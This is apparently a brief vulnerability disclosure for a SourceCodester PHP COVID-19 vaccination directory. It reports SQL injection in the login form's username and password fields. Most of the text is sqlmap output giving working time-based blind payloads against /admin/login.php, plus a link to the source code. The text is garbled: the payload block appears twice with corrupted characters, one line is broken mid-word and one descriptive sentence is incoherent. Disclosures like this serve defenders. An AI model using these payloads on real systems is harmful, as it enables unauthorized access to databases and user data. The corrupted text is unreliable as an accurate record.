SQL injection vulnerability exists in txtpassword and txtusername parameter of /admin/login.php file of design-and-implementation-covid-19-directory-vacination.html Important user data or system data may be leaked and system security may be compromised The environment is secure and the information can be used by malicious users.

```
[22:29:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

——
Parameter: txtpassword (POST)
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: txtusername=admin6txtpassword=123456' AND (SELECT 9886 FROM (SELECT(SLEEP(5)))oFWj)-- FIko6btnlogin=

Parameter: txtusername (POST)
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: txtusername=admin' AND (SELECT 1895 FROM (SELECT(SLEEP(5)))ocUe)-- DEnO6txtpassword=1234566btnlogin=
——
Type: Type: DenO6txtpassword=1234566btnlogin=
```

"

Parameter: txtpassword (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: txtusername=admin&txtpassword=123456' AND (SELECT 9886 FROM

(SELECT(SLEEP(5)))oFWj)-- Flko&btnlogin=

Parameter: txtusername (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: txtusername=admin' AND (SELECT 1895 FROM (SELECT(SLEEP(5)))ocUe)--

DEnO&txtpassword=123456&btnlogin=

"

## Source Download:

https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vac ination.html